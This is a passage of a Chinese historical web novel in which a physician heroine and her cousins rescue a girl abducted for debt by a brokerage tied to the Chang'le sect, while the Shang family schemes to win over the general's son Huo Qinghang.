商武到底年长一些,看得也算仔细,“瞧着是有点气度不凡,且一个个功夫卓绝,像是厉害的角色,至于是不是霍氏的人,就得细查才能知晓。” “如果是霍氏,那就糟糕了。”商城面色凝重,“麟州霍氏,不是好惹的,当年国公府一案,多少人都受到牵连,霍氏依旧安稳驻扎在边关,可见帝王家的忌惮。” 说到这儿,商城若有所思的看向那个小院。 “霍家会不会掺合进来?”高秀娥满脸担虑,“这要是被拿捏住了把柄,那该如何是好?” 商城一时间也有点脑瓜疼,“如何是好?我哪儿知道如何是好?原本以为遏制住了徐家,让徐家自己乱去,就不会在背后总盯着我们,谁曾想半路杀出个程咬金。这下好了,来了个霍氏,那霍老将军可不是好脾气的!” 商家那老将军的暴脾气啊,便是皇帝跟前,都能举起打王金鞭。 开国元老,太祖所赐。 上打昏君,下打佞臣。 虽然也不可能常用,但若是到了关键时候,那是绝对可以震慑帝王的存在。 “查清楚!”商城揉着眉心。 商武点点头,“明白!” “玥儿,你得稳住他们几个。”商城开口,“我就不信了,这世上的男儿都不好色?若是真的霍家军,驻扎在边关多年,必定是粗汉鲁莽,所以……我就不信这酒色财气,吞不了人性。” 商玥与母亲高秀娥对视一眼,郑重其事的点头。 事已至此,还能如何? 走一步看一步罢! 门一关,林序松了口气。 其实这么多人打起来也着实费劲,毕竟有些家奴不是穷凶极恶之人,他们也只是因为卖身契落在商家,不得不听命为之,到时候杀也不是,伤也不是,反而束手束脚,投鼠忌器。 “他们肯定去查了!”林序开口。 霍青行进了屋子,“他们自然不会轻易相信我们,麟州霍氏,那可是名门望族,是将帅之家,他们怎么敢轻易的相信?不过没关系,拖着吧!” “等着老二和老三查清楚那鹰隼的去处,咱们的人找到金都来客,彼时就可以知晓这帮人的葫芦里卖的什么药了。”安信开口。 霍青行屋子倒了杯水,凑到鼻尖轻嗅,然后泼在了地上。 林序想了想,“我去烧水,咱们最好先别动他们的东西,免得到时候着了道!” 安信也是这么想的。 这一夜,屋子里的灯亮了一夜。 徐家的灯,也亮了一夜。 陈识月一晚上没睡,翻来覆去的,怎么都睡不着,总觉得心里不踏实,闭上眼睛就会梦到商家的人举起了刀子,狠狠的劈在霍青行的身上,惊得她根本就睡不着。 心神不宁,魂梦不安。 第二天一早起来,神情萎靡。 没法子,她只能去熬了一碗药,这药能让她提神,至少今日都不会有什么太大的问题,没得到商家那边的准信,她不敢闭眼。 “姐姐?”徐玉莹诧异,“你这是怎么了?一晚上没睡啊?你的眼袋都快挂到肩膀上了!” 徐玉安白了她一眼,“哪有这么夸张?” “我知道了,姐姐你是不是惦记着姐夫啊?”徐玉莹嘿嘿笑着,“你怕姐夫出事,所以担心得一晚上没睡,对不对?” 徐玉安皱起眉头,“说别人的时候,最好也照照镜子,看看你自个,你的眼袋都快垂到你的膝盖了,还好意思说月儿表妹。” “真是……”徐玉莹挽起了陈识月的胳膊,“姐姐,我们吃饭去,不理这个笨蛋。” 陈识月无奈的笑了笑,“好了,我没事,你们都莫要担心。” “怎么可能没事,这不是担心吗?”徐玉莹叹气,“我也知道的,商家就是龙潭虎穴,跟商家扯上关系,那就是鬼门关走一圈,反正没好事。但不管外面如何,姐姐要保重自身,要不然姐夫回来,就真的该担心了!” 陈识月没说话。 早上的饭,也是味同嚼蜡。 瞧着她这般模样,徐庚和王氏也觉得担心,想宽慰两句,却又不知道该从何说起? 饭桌上,众人都沉默。 陈识月也看出来了,大家都在担心自己,回过神来便勉强扯出一抹笑,“舅父,舅母,帮我照顾好二丫,我待会要出门一趟。” “好!”徐庚忙道,“挑几个身强力壮的人跟着,让玉安和玉莹都陪着你,寸步不离的,千万不要单独走散。” 陈识月点点头,“是!” 她知道轻重,不会给任何人惹麻烦的。 李婶还没找到呢! 第一百九十八章 两个人凑不齐一副脑子 陈识月吃过早饭就离开了徐家,身后跟着四个家奴,左右则是徐玉安和徐玉莹。 “你们这阵势,倒不像是陪我出行,像是押解我去刑场。”陈识月揉着眉心,颇有些难为情,“你们这样,我什么都做不了。” 徐玉莹不解,“姐姐,为何我们跟着你,你便什么都做不了?那我们不跟着你,你要做什么?” 陈识月:“……” “月儿表妹不是想……以身为饵,引蛇出洞吧?”徐玉安问。 陈识月摇摇头,“我现在这样,还引什么蛇?不过是你们这一群人跟着,我走哪儿都不方便,大张旗鼓,打草惊蛇。不如这样吧,我们约个地方见,大家分散……” “不行!”不等陈识月把话说完,徐玉安已经一口否决,“表妹夫说了,让我寸步不离的跟着,务必要保护好你。” 不过嘛…… 他冲着身后的人招招手,吩咐了两声,于是乎这四个家奴便没有再跟着。 “保持距离,还是可以的。但我与玉莹是定要跟着你,这是父亲母亲给的任务,不管是陪着你逛街,还是保护你,都是我们的职责所在。”徐玉安嘿嘿一笑。 兄妹三人慢慢悠悠的走在长街上,来都来了,自然是要好好看一看这永安县。 陈识月忽然有些明白,为什么锦囊里写着:永安县。 父亲母亲是想她回到徐家,得徐家庇护,真的到了绝路的时候,还能有一线生机,之所以一开始就没有这么做,是因为风头正盛时,容易被人跟上,万一牵连到了徐家…… 帝王一怒,伏尸百万。 等到风头过去,等到多少人都淡忘,她若还活着,再回到徐家,自然是最安全不过,宛若现在的状况,没人会知道陈识月出自何处,也没人会知道陈家与国公府一案。 “这几间商铺,都是商家的。”徐玉安开口,“咱们的徐氏医馆就两家,毕竟若是真有事,我和我爹能及时赶去,当然,我爹还有不少弟子。” 徐玉莹塞给陈识月一根糖葫芦,“姐姐,给!” “我爹那些弟子,都比我有天赋,所以很多时候,我还不如他们呢!”徐玉安叹口气,“爹骂我的时候,也惯用这一句。” 徐玉莹接过话茬,“说实话,你还不如姐姐呢!” 徐玉安哽了一下,“那你还不如我呢!” “呵!”徐玉莹美滋滋的挽着陈识月的胳膊,“那你年纪比我大,比我还多学几年,若是这样还不成气候,非要与我比,岂非……” “嘘!”陈识月做了个禁声的动作。 下一刻,二人赶紧闭嘴。 顺着陈识月目光所及,瞧见了一帮人,鬼鬼祟祟的钻进了巷子里,瞧着就不干好事。 “八成没好事。”徐玉安皱起眉头。 陈识月已经小心谨慎的跟了上去,见此情形,两兄妹也不敢犹豫。 走的时候,徐玉莹还不忘抹走了铺子外的笤帚,小心翼翼的跟上。 前面这些人耀武扬威的,即便是干坏事也没有要收敛的意思,走起路来那叫一个趾高气扬,快速踹开了一个远门,然后就闯了进去。 “还有没有王法了?”徐玉安气急,“就这么擅闯民宅,简直是……” 徐玉莹瞥他一眼,“他们什么时候讲过王法?” “该死东西!”徐玉安愤然。 陈识月瞥了一眼二人,“别说话!” 别说话,爬墙头。 还真别说,在这一点上面,徐家这三个后孙辈的,真是超级有默契,简直都是自带爬墙天赋。 一二三,爬墙头。 一二三,抬头看。 “他们在干什么?”徐玉安瞪大眼睛。 这是强抢女子? 啊? 娇生惯养的小公子,不敢置信的看着眼前一幕,商家还做这样的买卖?也没见商家开什么牙行,怎么还能做出这样缺了大德的事? “该死的玩意!”徐玉莹切齿,“我就知道商家没一个好东西,都是逼良为娼的狗东西,没想到这光天化日之下,竟还敢做出这样的事情。” 徐玉安本想出手,但一想起身边还跟着两个妹妹,旋即冷静下来,不能因为自己而牵连妹妹。 “少废话,既然还不起银子,那就把闺女带走。”为首的冷声厉喝,“你们自己欠的债,当然是要自己人来还。” 破败的院子里,哭声喊声交织成一片。 老者和妇人拽着自己的女儿不肯放,而这些打手仗着人多势众,仗着年轻力壮,一脚就踹飞了老者,顺手捏起了小姑娘的下颚。 “长得不赖。”为首的冷笑两声,“打扮打扮,是值不少银子。” 语罢,随手便让人去绑了这姑娘。 小姑娘看着就十三四岁的模样,许是刚刚及笄,这会除了哭喊,已经没了任何的主意,到了最后被这些人用绳索捆绑住了双手,一根布条勒住了嘴,只能发出呜呜咽咽的哭声。 “不要,我们会还银子的,求求各位大爷,放过我的女儿吧……”妇人泣不成声。 可是,吃人不吐骨头的东西,又怎么会心生怜惜呢? 换来的,只有无边的讽笑,笑声传出去甚远。 “我只是借了一贯钱,怎么就成了十两银子?”老者满嘴是血,吃力的从地上爬起来,“你们这些吃人不吐骨头的东西,天杀的畜生!” 为首的男人冷笑两声,“哼,你借了多少无所谓,到了还的时候,可不就是咱说了算吗?让你还十两银子,还是看在你这破落院子的份上,要不然的话,让你还百两,千两,你还得起吗?老东西,咱看上你闺女是你的福气,别给脸不要脸。” “不可以,把女儿还给我,你们不许走!”妇人冲了上来。 迎接她的是无情的一脚,紧接着一帮人上去,对着老夫妻二人就是一顿拳打脚踢,直到两人都奄奄一息,连说话都没力气,趴在那里只剩下虚弱的呼吸,这才停手。 “带走!”为首的沉着脸,快速将女子带走,“瞧着货色不错,若是送到牙行,应该能卖不少银子,也算是回本了!” 瞧着一帮人,大摇大摆的走出院子,陈识月率先冲进去。 还好,夫妻二人都还活着。 “是皮肉伤。”陈识月为二人把脉,“没殃及内脏,还算是有点运气。” 徐玉安赶紧取出银子,“帮他们把银子还了,应该就没事了吧?” “那赶紧还了呗!”徐玉莹回应,“十两罢了!” 陈识月忽然就明白,为什么舅父和舅母这般无奈了,这兄妹二人凑不齐一副脑子…… 第一百九十九章 三个臭皮匠 陈识月没有管这兄妹二人,十两银子能干什么呢?今日说十两,明日是二十两,人家可是说了,就是冲着这闺女来的,还多少银子,那是他们说了算。 好在这老夫妻都没什么大碍,但是被打得奄奄一息,的确也不是个事。 往二人嘴里各自塞了一颗药丸,陈识月便快速朝着外面走去,这种事情干得那么顺溜,绝不是第一次所谓,那天夜里那些长乐门的人……是不是也是…… 说什么牙行,该不会就是长乐门的另一个据点吧? 山里那个窝点被她和霍青行给端了,那牙行呢? “姐姐?”徐玉莹赶紧跟上,“你是去还银子吗?” 徐玉安一怔,也赶紧跟上,“现在就去吗?我身上倒是有银子。” “都别说话。”陈识月白了二人一眼。 兄妹二人旋即闭嘴,老老实实的跟在陈识月的身后,很快就赶上了那帮瘪犊子,一个两个虽然不能招摇过市,但走起路来大摇大摆的,确实嚣张。 穿街走巷,尽量避开人多的地方,毕竟商家也是有头有脸的,有些事情不能做得太绝,免得县太爷难做,到时候清算起来,也容易被人抓住把柄。 “人在前面,去还钱吗?”徐玉安问。 陈识月揉着眉心,“你们光想着还钱吗?” “不然呢?”徐玉莹不解,“不给钱,他们不把人交出来,这不白救了吗?咱这不是要行侠仗义吗?难道说,要用枪的?” 陈识月:“……” 心梗一下。 徐家后辈算是完了。 这心眼一个都没长身上,估摸都长歪了,全落在了陈识月身上。 “那……那要怎样?”徐玉安小心翼翼的凑上来,实在是不知道该如何是好,“冲上去?我不会打架,要不然、要不然我让后面的上来?” 陈识月长长的吐出一口气,“你们平日里都是如何长大的?” “吃饭啊!”徐玉莹脱口而出。 陈识月:“……” 好了,当她没问。 “盯着吧!”陈识月无奈。 有一种带不动的感觉,这两个……有点像拖油瓶。 牙行。 “这路我熟,牙行!”徐玉安开口。 陈识月看向他,“说说。” “这牙行是三年前开的。”徐玉安解释,“主事的是个婆子,此前来过医馆看病,是个会功夫的老妈子,瞧着有点本事。” 陈识月点头,“那就得小心。” “前面是正门,后面那条巷子可以直通码头,从后门出去的话,还是挺方便的。他们从正门收货,后门出货。”徐玉安看了一眼陈识月,“月儿表妹,你不会想进去的,里面很瘆人!” 瘆人? “怎么个瘆人?”徐玉莹感兴趣,“里面很好玩?” 徐玉安白了她一眼,“里面有刑房。” “你如何知晓?”陈识月问。 徐玉安抿唇,“进去过,然后……” “吓尿了?”徐玉莹瞪大眼。 徐玉安白了她一眼,“当时是因为受人之托,所以我跟着爹一块进去的。牙行里做着买卖,也传出惨叫声,我有幸见过一眼,实在是有点难以承受。” 那场面,见过一次就再也忘不了。 徐家是医者世家,哪儿有这等龌龊? 见着徐玉安难以启齿,说不出口的样子,陈识月便知晓这里面的动静了不得,毕竟徐家教授仁义道德,礼义廉耻,那些腌臜东西委实有点…… “这么厉害?”徐玉莹嗫嚅着,“好凶残。” 徐玉安叹口气,仿佛回过神来,“所以我说,你们这两个女儿家能不进去就别进去,里面不是好地方,万一被人发现另有所图,怕对你们不利。” 徐玉莹点点头,一手抓着笤帚,一手抓着陈识月,“姐姐你莫要冲动,这不是好地方,咱三思而行,可不敢没头没脑的往里冲,不然的话……咱报官吧?让衙门的人进去看看,应是没什么大碍。” 报官? 这两字一出,徐玉安和陈识月不约而同的,齐刷刷扭头看她。 “怎、怎么这样看着我?我说错了吗?”徐玉莹不解。 徐玉安只有四个字,“蛇鼠一窝。” 徐玉莹:“……” 三人趴在了窗户底下,探头探脑的扒拉着窗户缝隙,看着里面的动静。 大概是因为人都在前堂,所以后堂这边都是自己人,包括那些打手,还有徐玉安口中的一个老婆子,这老婆子就是牙行的掌柜,人称赛金花,却是个心狠手辣的主,年轻的时候走南闯北,后来不知怎么的,就来了永安县,开了这么个牙行。 要开牙行得跟衙门打交道,不知道县令与她是不是有私底下的关系,竟也开具了牙行所需的所有文牒,于是乎这牙行一开便是三年之久。 表面上都是做的公平公正,你情我愿的买卖,可实际上呢? 人心都是黑的,哪儿会做通透的买卖。 “最近风声很紧,你们怎么还敢从我这周转?”赛金花沉着脸,“我不是跟你们说过吗?这段时间,不做长乐门的生意。” 为首的笑了笑,“赛老板,咱这买卖又不是一回两回了,您这么说可就有点不地道了,咱是一条船上的蚂蚱,一荣俱荣,一损俱损,有什么事儿是不能商量的?您这一锤子敲死,咱也不好收场。” “你在威胁我?”赛金花冷笑,“我什么时候会受人威胁?呵呵,也不掂量掂量,自己几斤几两?带上你们的人,给我滚出去。” 听得这话,对方脸上的笑容也跟着消失了,“赛金花,你别给脸不要脸,有银子大家一起赚,有风险自然是要一起承担,你想把自己撇干净?我告诉你,绝无可能!” “怎么,想来硬的?我赛金花会怕了你们不成?”赛金花也不是吃素的,当即横眉冷对,“要动手?我可以成全你们。” 双方似乎在僵持着,对峙着,可见这帮人也不是齐心协力的。 “赛金花,咱这交易也不是一次两次,只是拿你这儿当个周转,你没必要这么咄咄逼人,咱是一条船上的,我们好不了,你也跑不了。”为首的软了语气,“咱就说各退一步吧,大不了干完这一单,最近这段时间就不来你这了,如何?” 赛金花裹了裹后槽牙,站在原地没有吱声。 “长乐门的生意,不会你我想做就做,不想做就不做的,他们的手段如何,你我心知肚明。”为首叹口气,“咱也不是非要跟你较劲,实在是身不由己啊!” 赛金花似乎是在斟酌…… 陈识月想看清楚这赛金花的容色,不知道为何,隐约觉得这身影有几分眼熟? 第二百章 你母亲叫什么? 徐玉莹轻轻推搡着陈识月,表姐怎么发起呆来了?是想到了什么? 这么一推搡,陈识月才回过神来,长长吐出一口气。 赛金花的声音再度响起,“最后一次,把人带进来,我会让人把她送去既定的船上。” “好!”男人笑了笑,“赛金花不愧是赛金花。” 赛金花似乎懒得搭理他们,只想着快点办事,其后速速离开,金都要来人了,他们不该再让金都那边起疑,免得到时候……她自己的事儿还没办完呢! 人被丢在了地上,小姑娘咿咿呀呀的说不出话来,满脸是泪,狼狈至极。 “出去吧!”赛金花不愿再与这些人打交道。 这些人旋即笑盈盈的出去,看得徐玉莹很是不忿,“就这样放过他们了?” “你的目的是杀人还是救人?”陈识月问。 徐玉莹哑然。 救人! 他们三个弱鸡,办不了杀人放火的大事,那只能去救人,毕竟人不能无能逞英雄,只能实事求是,多大的能力就办多大的事。 三人依旧躲在窗外,死死盯着里面的动静。 只瞧着待人走后,伙计快速上前将那女子给拎了起来,就跟拎小鸡仔似的,看得徐家兄妹各自咽了口口水。 没胜算! 待人站起来之后,赛金花上前,伸手拨开了女子散落在面上的青丝,然后捻着帕子轻轻擦拭着她面上的脏污,露出了女子本来的清秀面庞。 想了想,赛金花拔了她嘴里的布团,目不转睛的盯着她看,“不像!你是永安县本地的?” “是!”女子哭得声音沙哑,“我、我不走,我要回家,我要回家!” 陈识月皱眉,即便隔着一段距离,她也能感受到赛金花身上忽然的力量卸下,就好像充满希望,忽的又失望了,有种被掏空的感觉。 赛金花的身上,是不是有什么秘密? “不是她。”赛金花摆摆手,“胡子,把她弄出去吧!” 边上的伙计颔首,“是!” 小姑娘当即被套进了麻蛋,随手就扛出了后院。 “走!”陈识月转身就走。 徐家兄妹当即跟上,一颗心悬在了嗓子眼,真是紧张又刺激。 壮汉扛着麻袋在前面走,陈识月则攥紧了手心,小心翼翼的追在后面,只是习武之人到底是不一样的,身后有人跟着,且距离不远,第一时间就察觉到了。 巷子里。 壮汉一转身,陈识月心下一惊,徐玉莹和徐玉安则险些叫出声来,毕竟干这事一点都没经验,这会的确有被吓到。 “你们三个,跟着我作甚?”壮汉沉着脸,“滚远点,若是耽搁了老子办事,我就办了你们。” 徐玉莹哆哆嗦嗦的开口,“把人放下!” 壮汉觉得听到了笑话,“你再说一遍。” 瞧着这大块头,徐玉莹没勇气说第二遍,转头就看向兄长。 徐玉安当即开口,“把人放下!” 一人说一遍,就不算是激怒了吧? “哈哈哈哈!”壮汉不以为意,把人放在了边上。 套着麻袋的小姑娘,根本跑不出来,自然也跑不了。 “你们三个软脚虾,也敢在这里叫嚣,是不是活腻了?”壮汉浑然不惧,“我告诉你们,滚远点,要不然的话,老子一拳打瘪你们三个!” 徐玉莹:“他真的可以。” 徐玉安喉间滚动,他吃不下一拳头。 砂锅般的大拳头,谁也熬不住! 陈识月缓步上前,“就当她自己跑了,不成吗?这样伤天害理的事情,还是少做为好,逼良为娼,谁知道下一个被逼的,会不会是自己的至亲至爱呢?” “多管闲事!老子拿钱办事,你们少在这里掺合!”壮汉盯着眼前的陈识月,“滚!” 陈识月依旧在往前走,最后停在了壮汉跟前,“若我说不走呢?” “你找死!”壮汉刚要出手,忽见陈识月拂袖。 白雾陡然从眼前掠过,紧接着便是淡淡的清香充斥着鼻腔,有种让人说不清道不明的眩晕,好像脑子都有些浑浑噩噩,眼前人开始一个变两个,两个变四个…… 恍恍惚惚,浑浑噩噩。 陈识月慌忙上前,解开了麻袋的束口,把人放了出来,“姑娘,快回家。” 解开绑缚的绳索,把人放了,往姑娘的手中塞了一点银子,陈识月便站在了原地,瞧着那小姑娘屁颠颠的跑开。 “救人了!”徐玉莹有点紧张,有点激动。 他们救人了! 徐玉安反应快,拽住两个妹妹的手,“走!” 这个时候再不走,更待何时? 然而一转身,赛金花站在他们的身后。 那一瞬,徐玉莹抱紧了兄长的胳膊,有点不知所措。 赛金花就这么直勾勾的盯着三人,“好手段,没想到抢人都抢到我牙行来了?徐家的人吧?徐家公子,我们见过的。” “要多少银子?”徐玉安想着,用银子就能解决问题了吧? 赛金花嗤笑两声,“银子?我牙行立在这里,可不是光靠银子就太平的。有时候,这买卖就是规矩,规矩就是买卖,若是人人都能在我的头上踩一脚,那我如何立足?徐公子,徐家虽然是开医馆的,但也是开门做生意的,生意人的诚信道理,你不会不明白吧?” “赛老板,咱就说……这事能不能通融?”徐玉安将两个妹妹挡在身后,“都是女儿家,这些事情交给我来处置,你先让她们走吧!” 赛金花双手环胸,目光冷冷的,唇角扬起一抹讽笑,“怕是没那么容易,坏事是三个人干的,怎么能一个人独自承担?牙行里的生意,都是按人头来的。” “我们是不是在哪见过?”陈识月上前一步。 赛金花上下打量着她,还真别说,的确像是在哪见过,但一时间委实想不起来,以至于赛金花徐徐站直了身子,眉心都跟着蹙起,“你是何人?叫什么?哪儿来的?” “这姑娘是他们抢来的。”陈识月解释,“牙行不是不做长乐门的生意了吗?那就此拉倒,权当人跑了吧!” 赛金花面色凝着,“你知道长乐门?你到底是什么人?” “人在江湖,总有路见不平的时候。”陈识月道,“我只是个大夫,不是什么能人异士,行走江湖不过求一个无愧于心。” 赛金花深吸一口气,跟徐家搅合在一起的江湖人?女大夫? 记忆里,倒是有这么个人,但不像是她。 “你……母亲叫什么?” 第二百零一章 放她一马 陈识月自然不会贸贸然的自报家门,否则被人套话,或者是让人知晓自己的身份,是要惹来灾祸的,只要不报姓名,死不承认,就还有转圜的余地。 “我母亲也是个大夫。”陈识月说。 赛金花瞧了一眼那边神志不清楚的壮汉,偏头看向身后,“胡子。” “是!”胡子上前走向了壮汉,可不管他怎么喊,壮汉都没什么反应,这倒是把人吓一跳,没想到小妮子的手段这般狠辣。 赛金花眯了眯眸子,“你用的什么药?为什么他会变成这样?” “当然是我自己的东西。”陈识月负手而立,“没有解药的话,他很长时间都会如此。” 赛金花心头一窒。 胡子当即刀出鞘,谁知却被赛金花喝止。 “胡子!”赛金花皱眉,“这位姑娘,既是江湖人,也该守江湖的规矩,大路朝天,各走半边,谁也别犯着谁。大家都是做生意的,生意人有生意人的规矩,有自己的门道,你们走你们的阳关道,我走我的独木桥,听得懂吗?” 徐家兄妹不敢吱声,但死死的护在陈识月的身侧。 陈识月深吸一口气,“我知道,但路见不平又该如何?各凭本事,不是吗?” 赛金花被哽了一下,“你还真是……冥顽不灵。你以为有徐家当依靠,就能如此猖狂?知道这是什么地方吗?你可晓得若是我出手的话,你未必有胜算。” “她是真的练家子。”徐玉安忙不迭拽住了陈识月的胳膊,“月儿表妹,要小心啊!” 赛金花看向徐玉安,“徐家小子,你要出手吗?” “我不会让你伤害……” 还不等徐玉安挡在前面,陈识月已经轻轻推开了他,“这事让我自己来,你们两都先退远点吧!” “不行!”徐玉莹上前,“我答应了父亲母亲,一定要跟着你的。” 徐玉安连连点头,“对!” 三根银针在手,陈识月平静的看着赛金花。 那一瞬,赛金花在陈识月的身上,似乎也看到了熟悉的身影,尤其是这个动作,略有些相似的眉眼,虽然她没有自报姓名,但是…… “你们走吧!”赛金花忽然转身离开。 徐玉莹差异,徐玉安不解。 这赛金花可不是能吃亏的主,这会却愿意放他们离开,显然是不合常理的。 “掌柜的?”胡子不解。 赛金花不语,只是转身从后门回去。 见此情形,胡子只好搀着那壮汉跟上,“算你们运气好!” “走吧!”徐玉安忙道。 徐玉莹面色微白,“姐姐,我们走吧!” 陈识月收起了银针,冲着那边的胡子喊了一声,“给他喝点茶水就行了。” 胡子脚步一顿,转头看向陈识月,大概没想到就这么简单。 待人都走后,徐玉莹低声问,“月儿姐姐,你真的认识赛金花?” “不认识。”陈识月摇摇头,“不过我之前倒是见过一面,没有打过交道,她似乎是在找什么人,我也只是经过的时候,听到那么一耳朵。” 找人? 徐玉安不解,“找什么人?” “谁知道呢?我们快走!”徐玉莹忙道。 牙行里的生意,从来没有出过这样的纰漏,但是这一次,赛金花居然这么好脾气的把人给放了,连带着胡子都觉得不可思议。 “掌柜的,你以前从来不会心慈手软。”胡子不解,“这一次是怎么了?” 赛金花缓步进了门,“我都说了,这一次不想做长乐门的生意,可他们不依不饶,我有什么办法?既然命中注定这女子要逃过一劫,我又何必强求呢?生意嘛,跟谁做不是做?” “可这是长乐门的生意!”胡子有些担心,“他们可不是好相与的,若是知道人丢了,只怕不会轻易罢休。” 赛金花仿佛有些疲惫,踩着木质的楼梯,吱呀吱呀的走上二楼,站在了廊下,瞧着不远处街头的人来人往,车水马龙。 “掌柜的?”胡子将壮汉交给底下人,兀自跟着赛金花上了二楼,“掌柜,长乐门的人可不是好招惹的。如果他们知道,咱放跑了他们要的货,免不得要闹腾起来,一次两次倒也罢了,但若是运气不好的话,咱们连同手底下的弟兄,都会受到牵连。” 赛金花回过神来,“我又没说什么,你紧张个什么劲儿?只不过放跑了一个,这是永安县,是商家的地盘,出了事也是他们自个担着,谁敢找我算账?” “话是这么说的,但是……”胡子叹口气。 那可是长乐门啊! “管他什么长乐门,我只做我想做的事情,答应他们的要求,也只是……”赛金花顿了顿,“刚才那丫头和徐家是一伙的?” 胡子点头,“瞧着是,临走前还跟我说,用茶叶水能解她的药。” “这丫头倒是有点心思,跟徐家那两个蠢货不太一样。”赛金花顿了顿,“她说,她好像见过我。” 胡子诧异,“你不也说,好像认识她吗?若非如此,怎么会放过?” “当年我生死攸关的时候,遇见过一个女大夫,得其照拂,才能从鬼门关回来。”赛金花自顾自的回忆起,当年的种种,“锦上添花易,雪中送炭难。” 人啊,风光无限的时候,身边都是好人。 落魄的时候,才知道人心是那么可怕。 “你说的那个女神医?”胡子回过神来,跟今日的女子有几分相似? 赛金花点头,“瞧着和今日的有点眉眼相似,也是那样的神情,三根银针。” “难怪你今日松口了,原来是宛若旧人!”胡子明白过来,“说起来,这丫头也是有点本事,单凭她这么一手,即便是个女流之辈,只要小心谨慎,行走江湖应该是没什么问题。多少人都不是她的对手!” 赛金花勾唇,“相貌好,性子沉稳,手段也不错,动作快准狠,是个能干大事的,不像徐家那两只绣花枕头。” “很难得听到掌柜的你夸人。”胡子笑说。 赛金花长长吐出一口气,“三年了,还是没有任何消息,等待真的是一件……让人日渐绝望的事情。” 闻言,胡子沉默。 半晌过后,胡子道,“那不如……换个地方再找找?” 蓦地,不知道看到什么,赛金花兀的僵直了脊背。 “怎么了?”胡子忙问,当即顺着她的视线看去。 第二百零二章 美人计,拿下霍青行 “商家的人在干什么?”赛金花皱眉,“那人是谁?” 胡子不解,“这么多人跟着,瞧着好像有点怕他?这是什么人?我去打听打听?” “去!”赛金花可不允许,出现自己无法预料的状况。 要不然的话,出个什么意外,她连防范都来不及,死都不知道怎么死的。行走江湖多年,结下的仇怨不少,得罪的人更是数不胜数。 赛金花长长吐出一口气,罢了,不去想了。 只不过,今日那丫头…… 胡子过去的时候,正好瞧见了林序带着人去药铺的场景,似乎是去抓药的,但是这人瞧着好面生,一时间也分不清楚到底是商家的远房亲戚,还是来了什么大人物? 商家那老东西,素来是个老狐狸,无利不起早,此番办劳什子的诗文大会,也是为了蒙住金都那边的眼睛。 “这人是谁?”胡子问。 边上的商贩都摇头,“没瞧见过,不认识。” “说是商家的客人。” “谁知道是哪门子的客人?” “瞧着面生。” 的确是面生,不过……进药铺干什么? 抓个药,需要这么多的人? 林序是趁着这个机会,给军中采买点药材,反正月大夫此前给过一张方子,大概意思就是寻常的伤药方子。 多了不嫌多,少了却不行的那种! 横竖花的都是商家的银子,林序是半点都不心疼。 商府那边。 霍青行站在后花园里,瞧着陪在身边的商家兄妹,不由得皱起眉头。 “商铺那边有点问题,所以父亲今日没能陪着贵客。”商野开口,“好在有我们兄妹三人在,贵客只管放心便是。” 霍青行还能看不出来他们的心思吗? 尤其是商玥。 商玥今日打扮得略显隆重,描眉上妆,衣衫华丽,瞧着就是一副好派头,不知道的还以为她要跟谁家公子相看呢! 还商铺有事呢? 分明是派人去核实他的身份去了。 不过那又如何,身份是真的,随便他们折腾罢了! 商玥看了一眼两位兄长,若是仅此而已,那还有什么进展可言?她想要的又不是单纯的拖油瓶,跟屁虫,所以还是得创造时机才行。 “贵客?”商野和商武对视一眼,“这永安县有不少好玩的地方,不如我们带贵客出去走走?横竖来都来了,这求医问药的事儿,自然有家里安排,贵客只管放心便是。” 霍青行倒是没多说什么,三个人有多少心眼,他看得一清二楚。 “好!”霍青行不推辞。 这商家进出都有人跟着,他也不得自由,还不如出去,毕竟得吸引注意力,留下安信他们方便行事。 马车内。 霍青行瞧着随车的商玥,心里很清楚她的小九九,不推辞不靠近,不言不语。 “霍公子?”商玥开口,“麟州有什么好玩的地方吗?” 霍青行敛眸,“没有。” “霍公子不出去玩?”商玥不解。 霍青行看向她,“你会杀人吗?” 商玥哽了一下。 “知道怎么杀人才能最快准狠?”霍青行又问。 商玥面色微白,生生咽了口口水。 “知道边关苦寒吗?”霍青行盯着她。 商玥:“……” “人头落地,四肢乱飞是怎样血淋淋的场景,你见过吗?”霍青行面无表情。 再问下去,商玥都快哭了,这会身子有些轻微的颤抖,不知道是因为害怕,还是因为太紧张,连看霍青行一眼都不敢。 霍青行生得俊眉朗目,可说出来的话却是冷冰冰的,就跟刀子似的,毫无温度可言。 眼前人不是心上人,那他又有什么可在乎的? “商姑娘觉得害怕了?”霍青行坐在那里,身形笔直,“可有什么办法呢?霍家军驻扎在边关,日夜都是这样过来的,迎上突袭的时候,更是惨烈,有时候眼睛还来不及睁开,就已经身首异处。” 商玥脸色煞白,哆哆嗦嗦的问,“霍公子,一直在边关啊?” “不然呢?在麟州当公子爷?”霍青行转头看向窗口位置。 呵。 不是谁都可以直面边关的风霜,直面战场的杀戮与死亡的。 商玥不说话了。 及至临江楼。 马车停下,商野与商武快速进去,留下霍青行与商玥在后面慢慢走着。 “你说这可以吗?”商野问。 商武有些犹豫,大概是觉得有点悬。 “行不行?”商野问。 商武摇摇头,“你要知道,霍家军是什么样的存在,那霍家的公子又是怎样的倔骨头,能驻守边关多年,得皇上信重,即便当年那样的情况之下,都没有受到牵连,可想而知他们骨头有多硬。硬骨头,不会生出二心,帝王用得虽然不顺手,但是放心。” “那就是说,这样打直球的话,是没戏咯?”商野裹了裹后槽牙。 商武眉心微蹙,“你可别乱来。” “我这怎么算是乱来呢?霍家这么大的靠山摆在眼前,若不牢牢拉住,以后遇见风吹雨打的,谁来帮我们挡着?”商野想得倒是极好的,“金都的人快到了,若是拦不住他们的话,那我们也得另外想个法子,否则真的被查出点什么,那整个商家都得玩完!” 商武当然知道,这其中的意思,如果能攀上霍家的话,胜算就能多很多。 “当年那样的状况之下,都没有牵扯到霍家,若是此番咱能成全了小妹和霍公子,那以后的好日子,可就数不胜数了。”商武当然清楚,“可你也要清楚,若是不成功,反而惹怒了霍家,我们会死得更快,现在就会吃不了兜着走。” 商野愣了愣,“那就……确保万无一失罢!” “悠着点,霍家的人各个功夫极高,没瞧见家里那帮人,没一个是他对手?”商武叮嘱,“不要贸贸然行事,先想想怎么才能万无一失。” 商野裹了裹后槽牙,进了雅间,“不然……来两手准备吧?” 若是成功就算了,若是不成功那就来硬的。 “你去安排,我来拖住他们。”商武冲他使了眼色。 商野点点头,转身离开。 这事,他拿手啊! 问题不大! 雅间内。 凉风习习,正好临江而坐。 外头波光潋滟,屋内美味佳肴。 船只行江上,浩渺烟波里。 遥望水天色,不知几万里。 “这是临江楼最有特色的梨花酒。”商野为霍青行斟酒,“霍公子一定要试试看。” 第二百零三章 商家还勾结外敌? 